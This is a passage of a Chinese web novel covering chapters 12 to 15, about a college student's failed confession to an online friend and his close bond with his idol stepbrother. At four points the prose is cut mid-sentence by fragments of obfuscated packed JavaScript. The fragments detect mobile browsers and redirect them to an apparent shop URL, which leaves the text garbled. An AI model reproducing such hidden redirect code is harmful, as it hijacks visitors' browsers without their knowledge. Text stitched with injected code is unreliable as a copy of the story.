看他说着还激动起来,程识哭笑不得地解释道,“明尧不是坏人。我们在茂华也一起住了也有段日子了,还算互相了解的。他就是觉得我第一次来这里,人生地不熟的,他不放心。” “可我们也不是坏人啊!” “……” 关潼轻咳一声,提醒他,“没关系啦,让人家自己决定去哪里住比较方便。反正我们都是逃课惯犯,住哪里都一样出去玩,对吧。” 应允头脑这才清醒了些,明白自己没什么立场替别人拿主意,顿时沮丧地耷拉着脑袋,“哦”了一声。 “那好吧。不过我得知道你住在哪里,要是离得远的话,明天我开车去接你吃早茶。” “嗯,晚点等我到了酒店,就把地址发到群里。”程识笑着说,“小小年纪,脑袋里瞎想什么呢。酒店又不是什么法外之地,只是他工作时用来落脚的地方。” 谁说他是瞎想的。应允小声嘀咕,“酒店就是最危险的地方,什么都有可能发生。” 以往时淮偶尔会接一些在外地的节目录制,工作周期长的可能要十天半个月,也是一直住在酒店里。如果赶上放寒暑假,他就跟着去蹭飞机和酒店房间,这么些年来,玩过的地方不少,酒店也住得很多。 有时候在时淮工作的时候自己忍不住先跑出去玩,有时候等他哥收工了一起逛。无论何种情况,只要晚上回来,总能看到剧组里暧昧的男女或男男或女女亲昵依偎着走进同一个房间。 娱乐圈里性取向卡得不死几乎是圈内人的通识。有一回他跟着时淮住的酒店正好被一个拍电视剧的剧组包了一半,那个组里的演员都还挺有名的,他认识好几个。 可在一周时间里,他撞见好几回男主角带戏里的女二号男二号女三号男n号轮流进酒店房间,进进出出把他隔应坏了。回到房间一通讲述,时淮反应平平,这才知道自己所见所闻是酒店里最常见不过的情况。 他偶尔追剧,本来也会磕CP的,从那之后就再没有磕过任何艺人,顺便对着酒店这个地方产生了深深的刻板心理印象。 “你的哥哥是明星吗?”程识有意转移话题,也怀着些好奇。 “嗯,不过不是亲哥。”应允说,“我时哥,是我后爸的儿子……现在也不是我后爸了。反正就是我哥。” 他跟时淮的身份关系有点难以介绍,似乎很少有继兄弟在父母再次离异后还像他们这样,感情好得胜似亲兄弟。 他每次在外面叫哥都会被别人问是不是一家人为什么长得不像。时间一久他也懒得重复解释了,索性加个姓叫“时哥”,称呼改变后似乎关系也变得宽泛了,被追问的次数就少了许多。 看程识好像有兴趣,他习惯性安利了August顺便着重点名队长时淮--就像他从小到大都对身边同学安利的那样,为帮他哥拉粉操碎了心。 可惜程识是对娱乐圈不了解才会多问一句的,平时也不怎么关注的样子,跟他的共同话题又少了一个。 吃完火锅没多久,来接程识的人就到了。 放进房间的行李箱还没来得及打开就又被他拉到小区门口,斜风细雨映衬着夜色,应允亲手把暗恋对象送到情敌的车边,心情依旧凄凄惨惨戚戚。 出租车副驾驶下来的男人身形高大,带着一身成熟男人的沉稳气场。五官轮廓倒是还算养眼,就是面无表情的高冷模样看着就让人来气。 应允在心里默念我也已经是个成年人了我也要稳住,你来我往地寒暄了两句,皮笑肉不笑地对眼前疑似装逼的男人说,“那小识哥就拜托你照顾了。” “……” 关潼噗嗤一乐,等到车都开走了,搓着胳膊对他说,“行了行了快回去吧,人都没影了还看什么呢。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595683|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 应允不舍地撇了撇嘴,也没再上楼,直接往车库的方向走,“那我回去了。” 本来还准备了桌游和零食,说好今天晚上三个人一起聊天熬夜玩的,结果被那个叫任明尧的老男人截胡了。 想跟关潼玩哪天都能约,也不是一回两回了,可今天程识不在,他也就没什么留下的心情。 关潼喊他,“明天带老婆去吃好吃的顺路来接上我!” 他不回头地挥了挥手,“听见了。” 他和任明尧,就是新欢和旧爱。程识在他俩之间选择了那个老男人,为什么呢? 一定还是因为他跟程识认识的时间太短了,没什么相处的机会发展感情。否则他怎么会输给那样一个一看就知道毫无情趣的老男人? 程识看起来甚至有些怕那个任明尧,不想让他不高兴才跟他走的。肯定是仗着自己当过程识的班长,现在又是程识的房东,才这样霸道目中无人。 应允自己开车回家,越想越气牙根痒痒,打定主意一定要趁程识在明海的这几天好好跟他培养感情,让他感受到年下小狼狗的热情,怎么着都比那么个冷冰冰的木头强! 按照以往的习惯,郁闷不能堵在心里留着过夜。到家后,应允给手机充上电开始打游戏,想去峡谷杀几个人给自己出出气。 晚上正是打游戏的高峰。刚上号,他发现时淮也在线,顺手发过去组队邀请。 【打不打?】 队伍频道里,时淮回得很快。 【开】 以往组队还会拉上夏赢许青蓝那几个人,今天看他们都已经开局了,应允没再等人,抱紧他哥大腿开始甜蜜双排。 双排时他习惯玩辅助,除了团战时集中注意力群体控制,其他时候基本都跟着时淮一个人走。他玩游戏不较真,大多数时候就是图个乐子,对局意识不强,操作也一般,这种时候就只有跟着队伍里打得最好的那个MVP走才能减少被骂的风险。 玩辅助的到底是妹子更多,偶尔打游戏他还会被调戏。但不管有谁发“辅助妹妹过来跟我”他都一概不理,偶尔看别的队友经济落后去帮忙收个人头,队伍频道的聊天记录里很快就会出现一句新的—— 跟我。 应允自觉得很,收到召唤转身就去找他哥。 顺风局打下来心情舒畅。一局结束才不到二十分钟,回到准备队伍里,时淮先发了消息问。 【还打吗】 打啊,赢着呢,怎么不打。 应允兴冲冲开了一局又一局,跟着自家野王哥哥整晚都在连胜,匹配到菜鸡队友也能力挽狂澜,甚至超常发挥,不小心拿了一局mvp。 对局结束,时淮给他点了个赞。 美滋滋。 连续几个小时的游戏打过来,晚上刚回家时的郁闷心情已经被洗刷一空。不过连续开局的时间太久了,兴奋劲过去,他低头低得脖子疼,看时间已经过了零点,时淮却还没有退出游戏的意思。 【还打吗】 12. 第 12 章 手机在发烫。应允倒在床上翻了一圈,揉了揉眼睛又坐起身,再开一局,继续驰骋峡谷双人行。 怎么他哥今晚好像也不太高兴的样子。 时淮不怎么会熬夜打游戏,偶尔有兴致带几个笨蛋弟弟也会开麦指挥。这样不说话只闷头打游戏的时候他还是第一次见。 估计是工作遇上什么不痛快的事儿,也想发泄发泄,才会跟他峡谷相逢。 应允善解人意地想,成年人世界里的烦恼,肯定比他这点恋爱脑纠结的小事要严重得多。他心情是已经松快多了,还得再陪陪他哥。 这天两人一直打到凌晨两点多。他实在头晕眼花撑不下去,才给时淮打了个微信电话,困得有气无力,“哥,打不动了我。” 对面的声音听起来比他清醒多了,“嗯,怎么不早说?” “本来还想等你玩够再说……” “等我玩够?” “陪你玩的啊,感觉你心情不好。” 时淮顿了顿,“陪我干什么。” 这话有点阴阳怪气。应允困迷糊了没听进去,只趴在床上抱着枕头嘟嘟哝哝,像在说梦话,“诶我眼睛,眼睛睁不开了,明天还想出去玩呢,接上他们一起,明天……” 声音渐渐含糊不清,两句话没说完他就睡着了。 呼吸声沉浮安稳,时淮停留许久才挂断了电话。 卧室里灯开了整夜,一觉睡醒早已天光大亮。应允一个激灵翻身坐起,摸过手机看时间。 原本打算带未来老婆去吃早茶,结果打游戏太猛睡过头了,这会儿程识已经带着孩子在吃早饭。关潼在微信小群里跟他聊天,问他有没有什么想去玩的地方,顺便@某人这么安静肯定还没起床。果然说中。 应允起晚了,往群里回一张表情包迅速洗漱出门,路过便利店买了柠檬茶和三明治充饥。 他不能饿肚子,否则手抖头晕路都走不直,开车也不安全。今天雨停了,外面可逛的地方有许多,他咬着三明治看街道边推着小车遛娃的父母,心想程识也是带孩子来的。出门玩儿一天自己都会觉得累,更别提全程抱着一个孩子。 便利店旁就是商场,他顺便进去买了辆代步的婴儿车,前些天给夏老板打工挣到的零花钱直接清零,离心爱的大摩托的又远了一点。 不过为老婆花钱是应该的。应允把婴儿车装上后备箱,接了关潼和程识,“小识哥,休息得怎么样?” “挺好的,睡得很早。”程识笑着说,“你是贪玩熬夜了吧?看起来精神可没昨天好。” “唉,打游戏上头了没注意时间。”他立刻道,“不过你放心,不影响今天出来玩。” 明海是什么地方,他从小就在这儿长大的,闭着眼睛都能数出哪家店好吃哪条街好玩。 程识是第一次来,索性就都听他的。 一整天行程安排得妥妥当当。应允打定主意要好好表现,没什么自己玩儿的心思,注意力都在程识身上,又帮忙拍照又给照顾孩子,晚上也去了他珍藏的本地私房菜吃晚饭。 程识很少出远门,这天玩得开心,眼角眉梢总漾着笑,吃晚饭时话比昨天多了许多。还感谢他“借了邻居家的婴儿车”带过来,不然抱着小君玩一整天真太吃力了。 他心里也甜滋滋的。累是累了点,可是能看到喜欢的人露出高兴的表情,就都不算白费力气。 “多亏有你们当导游,今天已经玩得很尽兴了。”程识感谢地说。 “你们俩还得上学,接下来我自己到处逛逛就行。最近几天我都会在明海,等没课的时候再出来一起玩吧。” 两个人应该不会恰巧同时都没课,今天玩了一整天,至少有一个人是逃课出来的。虽然难得出来见一趟网友,但他也不好意思因为玩再占用别人更多干正事的时间。 “这不算什么。” 应允还想说自己随时都有空,却见他看向亮起的手机屏幕,读完新消息后几不可察地弯起嘴角,片刻不迟地拿起来回复。 这样不自觉流露出的笑意让应允心中警铃大作。一起玩了一整天,他还没见程识这样笑过——起码没有对他这样笑过,“有人找?” “也不算是找我。”程识回完消息才抬头,温和道,“是明尧,问我们晚饭吃了什么,大概几点回酒店。” 听到情敌的名字出现,应允心里危机感很重,不满地嘀咕,“他不是在工作么,怎么还管你这么多。” 醋味儿太重,关潼绷不住笑了出来,“你哥哥不也是这么管你的嘛。” “那怎么能一样啊。”他不假思索道。 他跟时淮什么关系?那个叫任明尧的人跟程识非亲非故……也不算是完全非故,但大家都是成年人了,出来玩干嘛还问得这么紧。总让人觉得心思不对劲。 “他平时就很照顾我们。”程识温和地解释,“我是第一次带着孩子出远门,他可能还是不放心。” “有我照顾你啊,没什么可不放心的。” 应允抿了下嘴唇,藏不住弯弯绕绕的心思,索性直接问出口,“小识哥,你是不是喜欢他?可他一看就是个直男啊。” “……” 程识无奈道,“你不是第一个这么说他的人。” 关潼正喝果汁,被他一记直球呛得连声咳嗽,缓了好一阵子才说,“那个什么,前几天他还单方面跟你小识哥表白来着。” “真的假的?!” 应允脑袋里嗡的一声响,怒从心头起,“他凭什么……我都还没说呢!” “……” 晚饭吃到一半,场面忽然变得混乱起来。 应允心里一直都觉得程识的那个高中班长心怀不轨,哪有老同学阔别多年,一见面就逮住机会就拉着人家同居的。但又觉得,两个人同住屋檐下要有点什么的话早就有了,现在却还相安无事,应该是处不到一起去的。 好家伙,终于还是忍不住对他老婆下手了! 那个男人! 应允恨得牙根痒痒,很想问问程识心里到底对那个男人是什么想法。但也知道,无论他们能聊得多开,再怎么不拘小节,对于面基第一天而言,这话题还是太过超前了。再问下去搞不好后面几天都要尴尬得没法儿一起玩。 程识怔了一下,回过神来便还是温温柔柔地笑着,三两句很快便说到别的地方。似乎只把他那句话当作玩笑。 应允也勉强笑了笑,收敛脾气没再惹是生非。心情却五味陈杂,平常最喜欢的菜色今天都食不知味。 少顷后吃喝告一段落,程识把baby凳上的小君喂饱,给了他一只玩具橙子,拜托关潼暂时照看。 “我想去一下洗手间。”程识说,“是走这边吗?” 应允下意识地站起身,“我带你去。” “好啊。” 程识走在他身边,神色沉稳温润如常。他闻得到身旁的人衣服上传来洗衣液的淡香,心思恍惚,七上八下的,一时间分不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595684|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是气馁还是委屈更多。 “小识哥,”借着这会儿单独相处的时间,他鼓起勇气说,“我刚才是不是吓着你了。” “没事。” 程识站在洗手台前涂洗手液,莞尔道,“我明白的。不然关关为什么会帮我们认识呢?只是没想到这么快就聊到这。” 他态度包容又宽和,给人说出心意的机会和勇气。应允想既然都已经戳破了窗户纸,比起糊里糊涂地粉饰太平,索性还是把自己的心意好好说出来。 他一紧张屁话就多。想到什么说什么,从两人加上好友开始说,一直说到今天,“我是真的喜欢你,不过你别有负担。我不是要你现在就答应我……当然也不是要你拒绝我,哎呀总之你自己开心最重要。” 他红着耳根坦诚道,“反正……你现在还是单身,也考虑考虑我。” 程识认真地听完,看他连头都不敢抬的青涩模样,忍俊不禁,抬手把一小团微凉的泡沫点在他鼻尖上。 应允缩了下脖子,不明所以地抬眼望去,只觉得程识看他的眼神跟看小君并无区别。 程识对他说,“好好读书。” “……” 应允抹了下鼻子,心底沮丧堆积,知道自己是被拒绝了,“你怎么把我当小孩儿似的。” 程识没说话,可眼中的笑意味鲜明—— 你就是很孩子气啊。 应允无从反驳,更沮丧了。 他平常总是笑呵呵的,说话时眼尾弯起,一副没心没肺的样子。今天被拒绝了也不想显得很丧气,吃完晚饭直到回了家,才倒在床上独自悲伤。 人生中的第一次告白,被他搞得一塌糊涂。 本来都跟关潼商量好了要循序渐进,先培养感情再慢慢表白的。他却还是太冲动,见面第一天就藏不住心事,难怪程识会觉得他幼稚。 幸好他喜欢的人温柔又善解人意,好歹是给了他明明白白地说出心意的机会。 虽然被拒绝了,却也有被认真尊重地倾听过,没有被当成玩笑话搪塞过去,更好过憋在心里不清不楚地变成遗憾。 应允躺在床上翻来覆去地滚,被子和枕头都遭了秧,想着自己好不容易才遇到一个喜欢的人,正准备打起精神放手追一把,谁知道刚迈开脚就夭折在起点线上,太不甘心了。 卧室门没关。自怨自艾了一阵子,他听见楼下楼下传来门锁打开的动静,滚下床出去看,站在楼上发现是时淮出差回来了,一身深色的长风衣,沾染了夜里潮湿的雾气,风尘仆仆。 时淮拉着行李箱刚走进门,似有所觉,在他出声喊哥之前便下意识地抬头,跟他对视了一眼。 应允双眼发光,顾不上想怎么这人出差完事不回自己家先来了这,三步并两步撒腿往楼下跑,最后三级台阶一跃而下。 时淮一只手稳稳地接住他,另一只手把行李箱靠墙放,“别把鼻涕蹭我身上。” “我还没嫌弃你呢,你身上这么凉。又湿又凉。”扒开风衣外襟,应允把脸贴在底下贴身穿着的T恤。隔着一层薄薄的棉布料,时淮身体的温度比他脸颊更高一些,贴着暖融融的心底也熨烫。 如果坏情绪需要被无公害处理,用哥哥的体温蒸发掉也是种不错的方法。 时淮摸了一下他乱蓬蓬的头发,声音从他头顶传过来,在胸膛震动,“怎么了?” “……哥。”他觉得难以启齿。有点丢脸,又有点委屈。 他好像失恋了。 13. 第 13 章 时淮脱了外套扔到行李箱上,捏起他的下巴,居高临下地打量,“哼唧什么?” “你还记不记得我跟你说的那个,很聊得来很喜欢的那个网友。” 他哭丧着脸,“我今天跟人家告白,被拒绝了。” “……” 时淮怔了怔,某种说不清道不明的笑意在眼底成形。向来稳重高冷喜怒不形于色的人居然会露出这种表情,多多少少是带了些幸灾乐祸的意味。 应允看得也是一愣,恼羞成怒地给了他一拳,“你怎么一点同情心都没有啊!” “确实不怎么有。” 时淮握住他的手腕拧到背后,轻描淡写地说,“多大点事。睡一觉你就忘得差不多了。” 他这个脾气,新鲜感来得快去得也快,也不爱钻牛角尖,有什么事儿心里都攒不住,要么就利落地解决,要么就干脆地忘了。 “这回不一样。” 他语言匮乏,跟这个没有同情心的人说不清楚,挣扎了两下才想起问,“你不是去出差么,提前结束了?怎么不回家先到这儿来了。” “机场离你这近。”时淮说,“累得不行了。” 他说累的时候一点匹配的表情和语气都没有,好像只是随口一提,实际上精力已经逼近了极限。应允见识过他在练习室里连续待十二个小时,很平静地说得休息一下,然后倒在地板上被送去医院输葡萄糖。 他们两个就是两种极端。他是事儿还没怎么着就先嚷嚷,干打雷不下雨。他哥是死到临头了才吱声,会因为送医太晚抢救无效的那种。各有各的不省心。 “那你不早说,我刚才冲过来把你给撞折了怎么办。”应允暂时把自己失恋的小事抛在脑后,挣开他的手转了个身背朝着他,“我背你。啧,赶紧上来啊,又不是背不动。” 时淮盯着他的后脑勺看了两秒,没有拒绝弟弟的运输服务。 确实是长大了。少年人单薄的背脊在他怀抱里无助发抖的情形仿佛还在昨天,一转眼便已经能够负载一个成年人的重量,背着他走过台阶,“这算什么,我还能抱你呢。健身房总不能白去。” 应允把他放在洗手间门口,像模像样地躬身行了个礼,“请沐浴吧,公主殿下。我去给您拿睡衣。” 高大的公主殿下倚着门框,抬抬手都能碰着天花板了。在外面经历了风吹雨打,回到家也是需要被忠心耿耿地呵护的。 “去给我拿个水,不要甜的。” “好的呢。” 应允兴致勃勃地去冰箱拿水,托盘里端着杯子和零食一起上楼。 十来分钟后时淮洗完澡出来喝水,面无表情地看桌上花里胡哨摆了一堆。 他的好弟弟半夜作妖,把半瓶矿泉水收到一边,倒好水的杯子往他手边推,“公主喝水要用高脚杯,不然不高贵。” “……” 时淮被迫高贵地喝完了水,带着一身湿热的水汽倒在被子上,白天黑夜连轴转了两天,没劲儿陪玩。应允自觉地找吹风机帮他吹头发,前吹后吹,连眉毛和眼睫毛上的水珠也要吹吹干。 时淮不耐烦地闭着眼,倒也没拒绝他的摆弄,抿着嘴唇躺在他腿上,冷白的肤色被热风吹得透出绯色,整个人都温和许多。 应允盯着他的嘴唇看,淡红柔软,想到昨天见过的心动场景,觉得跟程识相比并不逊色,好像也很好亲,忍不住按了一下,手指头陷进一个浅窝。 时淮皱起眉,“睡不睡?” “睡睡睡。” 他见好就收,关灯上床老老实实地平躺,开始进入睡前emo时间。 时淮好像不怎么把他失败的告白当回事儿,但是他还在真切地伤心着。 或许不只是伤心,沮丧和挫败更多。他从小到大也算是要什么有什么了——大部分都是没有要就有的,日子过得一帆风顺,乍受打击才会有点自我怀疑。 可谈恋爱这种事,最重要的还是两个人能不能看对眼吧?就算他再优秀再完美,程识不喜欢他这个类型也是没用的。他不甘心也无可奈何。 现在不都流行年下小狼狗么,配温温柔柔宜室宜家的美人老婆多合适啊,怎么他看中的老婆偏偏就喜欢没什么情趣还总摆臭脸的老男人呢。 错过了程识,下次再遇到这么喜欢的老婆不知道得等到什么时候去了。 他都二十了!还是个母胎单身,说出去丢不丢人。 愁到伤心处,他不由自主地叹了口气。 时淮的声音从旁边传来,带着浓重的睡意,“还想呢?” “睡不着。”他翻了个身,借机卖惨试探着问,“哥,你能不能抱着我睡。” 要是时淮懒得搭理他就算了,反正他脸皮厚,哼唧两声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595685|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就当没这回事。 片刻停顿后,耳边传来布料摩挲的细碎声响。时淮掀开了被子,“过来。” 世上只有哥哥好。 应允一头扎进去。 他都二十了,还是喜欢被抱着睡觉。不是以往时淮为了避免他睡着了不老实到处乱翻那种,压住他手脚的制裁式。而是面对面地抱着,在入睡之前就抱着,在拥抱中踏实地慢慢睡着。 年岁增长后他就很少提出这种要求了,两个人体温都高,抱一会儿就热得发汗,也怕时淮嫌他烦。 他小时候喜欢跟时淮面对面地抵着额头睡。是种让人很有安全感的姿势,好像有无形的精神脐带把他们的大脑联接在一起——他总是好奇时淮脑子里在想什么,对他的感情有没有他给时淮的多。 他无数次地幻想过,他们从诞生之初就是这样的姿势,一起待过同一个子宫,吮过同一只乳.房,分享相同的DNA。小时候偶尔听到有人说一句他跟时淮长得像,他都能高兴好几天。他幻想能跟时淮拥有世界上最牢固的联系,他们的感情根植于血脉里,不会被任何事情动摇。 可他们并没有。 应允默默地想,如果有一天,连时淮也拒绝他了,真不知道这个世界上还有什么人是可以放心去靠近的。 他不愿意轻易想到这。有一份埋得很深的恐惧会被触动,像嵌进心里拔不出来的一根刺,已经和他的骨肉长在一起,稍微碰一碰就觉得疼。 如果时淮也遇到一个喜欢却得不到的人,他绝对会比现在难过一百倍,说不定直接冲上去质问人家,他哥到底哪里不好了。他哥是最牛逼的公主殿下,喝矿泉水都要用高脚杯。 可如果时淮遇到一个喜欢的人,彼此情投意合,他也不见得能有多快乐。那是个绝对会把时淮的心分走的人,说不定就是时牧桓安排的相亲对象。等他下一次失恋,他哥忙着陪老婆,就只有他一个人默默舔舐伤口了。 他会懂事的。到时候也不去打扰他哥花好月圆,要像个男人一样独自扛下所有。 胸前的睡衣被洇湿了一小片。时淮好气又好笑,朝他背上拍了一巴掌,力道很轻,“有点出息行不行?” 他没防备,被拍出一个哭嗝。说也说不清,索性躲在哥哥怀里继续摆烂,“那能怎么办啊,我就这样。” 虽然没出息,但是对你忠心耿耿。 14. 第 14 章 环绕他肩膀的手臂微微收紧,黑暗中时淮的手指带着残留的沐浴露香气,抚过他的脸颊,摸索着捏住了他的鼻子。 应允被迫屏气,肩膀间歇性地抖,过了好一会儿才不再打嗝,平静下来乖乖地说,“我好了。” “别想那些没用的,睡。”时淮收回手拍他的背,语气里听不出威胁的意味,“再哭哭唧唧就把你扔楼下垃圾桶里。” “……哦。”他不敢再胡思乱想了,也祈祷自己不要乱动,好在这个难得的怀抱里待久一点。 时淮没再说话。房间里安静了一会儿,他又试探着问,“哥,你睡着了吗?” “……” 时淮:“又怎么了?” “我忽然想起个事。”他抬起头,蓬软的额发蹭着时淮的下巴,“你有没有去相亲啊,上次时叔说给你安排的。” “没有。” “最近没空?” “嗯。” 他说,“那你要是什么时候想去相亲了,记得提前告诉我。我好有个心理准备。” 话音刚落,时淮闭着眼在他头顶笑了一声,“你要什么心理准备?” “反正……也算是人生大事了啊这个,我也得参与一下,起码可以给你点意见。” 他小声嘀咕,“再说,你又没谈过恋爱,一点经验都没有。万一被人家女方狮子大开口,问你要这要那的怎么办。” 垫枕的手臂忽然抽走,他脖颈下一空,床头灯被打开了。他下意识地用手挡了一下,突如其来的灯光虽然不刺眼,也需要点时间适应。 时淮靠在床头睨视他,深邃的眼睛被眉骨投下的阴影覆盖,让人看不清其中的情绪。但依照兄弟多年的了解和一点点心电感应,他总归能感觉出来,是不怎么高兴。 “为什么操心这件事。”时淮问,“你很希望我去相亲?” “也不算是希望吧。”他被噎了一下,缓慢地从床上爬起来,揉了揉头发,“我就是想……既然是迟早的事,提前做一下准备总是没错的。” 以后时淮总是会成家立业娶妻生子的,为免打击来得太突然,他需要一步一步适应。 时淮对他的提议不置一词。他很擅长看哥哥脸色,脑袋里灵光一转便又说,“不过我觉得你现在工作这么忙,也不着急谈恋爱结婚什么的,时叔催你就应付应付,等什么时候自己想去了再说吧。反正我都支持你。” 他差点忘了。时淮跟他不一样,是很讨厌被管束的,跟时牧桓的关系也一直算不上好。甚至有可能本来对相亲这回事感觉平平,却因为是被老父亲催促安排的反而更抗拒。 这样的话……还真是得谢谢时叔了。 应允不厚道地想。 抛开那些个“为哥哥着想”的念头,只从他自己的角度来看,他一点都不希望时淮英年早婚。世界这么大美人这么多,再多玩几年,未必就遇不到比相亲更好的。 时淮估计想法跟他差不多吧。反正想要就有,随时不缺,那还急什么。 他抱着枕头一副若有所思的模样,心里的想法脸上都写得七七八八了。时淮看他看得想笑,心中却涌生出更深的无奈,倒是希望他能把心事藏一藏。 半遮半掩,也有令人遐想向往的余地。好过全然天真纯粹,一眼就望得到底。 “这事你不用管,躺下睡觉。” “哦。”应允放下枕头听话地躺好,主动抬高脖子,不舍得刚刚抱着睡的姿势就这么中断了,“那你再把手伸过来。” “……” 时淮是什么时候睡着的他不太清楚,只记得自己在哥哥怀里做了个安稳的美梦。 梦里他娶了七八个老婆,全跟他一起围着时淮叫哥。时淮被烦得不行,可还是每人都封了个大红包——给他的当然是最厚的那个。 直到早上睡醒时他们还是相拥而眠的姿势。时淮还没睁开眼睛,晨勃倒是来得很精神,他挪动屁股往后错开位置,免得一大早双人击剑有点子尴尬。 被他枕了一夜的胳膊说不定已经麻得没知觉了,却都没有抽回去。应允佩服又羡慕,不知道以后是哪个嫂子这么有福气,能泡到他哥这样的男人。 时淮出差回来,起码是能休息个一两天的。他没有吵闹,自己解决早餐去上早课,前两天旷的课作业也要补,一整天都待在学校里。 傍晚时关潼问要不要一起吃晚饭。一天一夜的缓冲期过去,他对于自己被程识婉拒表白的事已经接受良好。以后就当交了个聊得来的朋友,既然来他的城市,好好招待也是应该的。 于是晚餐定在另一家他喜欢的音乐餐吧。除了东西合胃口,偶尔晚上会有乐队过来演出。今晚来的乐队一直在唱民谣,主唱颜值还不低,抱着吉他往台上一靠,自带一股忧郁气质。 给他看得一愣一愣的,“我记得之前的主唱是个中年大叔来着。” “这么说是为了掩盖你想来看帅哥的事实吗?” 关潼拿薯条逗小君,顺便揭他黑历史,“哎呀,我们小允哥呢,就是易心动体质。” 程识好奇地问,“什么是易心动体质?” “就是很容易被人身上的某个点打动,然后迅速沦陷。”关潼毫不留情道,“他哥哥那个男团里一共八个人,他以前还把其他七个都挨个喜欢过一遍。” “……” 程识:“哇。” 什么叫损友。应允深深地叹息,“有你真是我的福气。就变着法说我花心呢是吧?” “哎呀,谁说不是呢。” 他当然听得出关潼是有意这样说,想把他昨天莽撞的告白模糊界限,不至于以后再提起来还让人尴尬。 事已至此,他没有否认,也不打算做多余的解释,免得再给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595686|187431||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家心理负担。 “你这样很好啊。”程识由衷道,“我就很羡慕你的性格,刚爱敢恨,明晃晃的,像个小太阳。” “也没有啦。”应允被夸得不好意思了,“我就是没心没肺,记性没忘性大,所以显得很快乐。” 他大大咧咧习惯了,所以格外憧憬如程识一般温柔细腻的性格。只不过心思太细腻也是有利有弊的,几天相处下来,他明白了为什么先前关潼提起程识时会那样说。 程识性格内向,可能跟自身成长经历有关,确实有点缺乏自信。在感情上也是一样的,对他没什么特别的心思才会沉稳温和地妥善处理,落到真正在意的人身上时就瞻前顾后考虑太多,反而缺了些一往无前的勇气。 他能看出程识是对任明尧也是有意思的,只是出于某些原因还在顾虑。就算现在还没在一起,也是迟早的事。 迟不迟早的,反正是没他的事。 “小识哥,你真的很好。自信一点。” 在明海一同游玩的几天时间里,这样的话他不知道说过多少遍,实在是看得着急,“既然喜欢就放手去搏一搏,不试试怎么知道合不合适呢?” 也是没想到,到头来他居然在帮情敌追自己的老婆。这失恋的后续发展真是别具一格。 但他真心希望程识能过得好。就算不是跟他,他也希望自己喜欢过的人有个好归宿。 “我知道,只是还很难做到。”程识受了他很多鼓舞,“你说得对,我会努力尝试一下的。” 程识没有在明海停留太久,几天后任明尧出差结束,就要带着小君一起回去了。最后一天他当然要去送机,还胆大包天坐了时淮的车,说去送个朋友。 他一直没跟时淮说,他喜欢的网友最近就在明海。主要是见面的第二天就被拒绝了告白,以后真的只是普通朋友了,好像也就没什么必要再说。 离开之际,他站在安检通道前终于有理由抱了抱程识,和想象中一样香香软软,却要成别人的老婆,又欣慰又心酸。 “落地之后再联系。”程识笑着说,“随时欢迎你来茂华玩。” 广播声提示飞机即将起飞,他依依不舍地挥手告别,如同是跟自己短暂的单恋说再见,浅浅忧伤了一阵才往外走。 来时同路,他搭了时淮的顺风车,直到要离开时下错电梯到了地下车库,才发现他哥的车还停在原位。 车上的人也发现了他。前灯闪了两下,他诧异地走过去拉开车门,“哥?” “送完了?上车。” 时淮看着他坐回副驾,尘埃落定般,从容地给他拉安全带,“以后再跟人见面提前告诉我,让我也有个心理准备。” 应允懵住了,“什么……心理准备?” “网恋奔现。” 时淮不紧不慢地说,“下次带到家里来,让我也看看。” 15. 第 15 章 “哎呀,你说什么呢哥。”他条件反射地反驳,“我又不现网,哪来的奔恋啊。” “……” 时淮意味深长地看了他一眼,眼底的笑意大过揶揄。 好像他这么些天忙着瞒来瞒去,连请吃饭都不敢记他哥账上的障眼法都是小儿科。 “我就是怕你骂我。” 他垂头丧气地坦白,“再说……这不是没成么。又不是什么光彩的事。” “没什么光不光彩的。” 时淮扔了包零食给他。他接在手里撕开,倒出两颗柠檬茶果冻,想也没想就剥开吃了,听着他哥说,“你已经这么大了,我也不会再什么事都管着你。” 时淮搭着方向盘换了导航,语气自然,“谈恋爱是正常的事,不用瞒着我。我就算是知道,也不会干涉你。” 应允听得一愣。 他本来已经做好了被教育的心理准备,没想到会这样被一句话轻轻揭过。 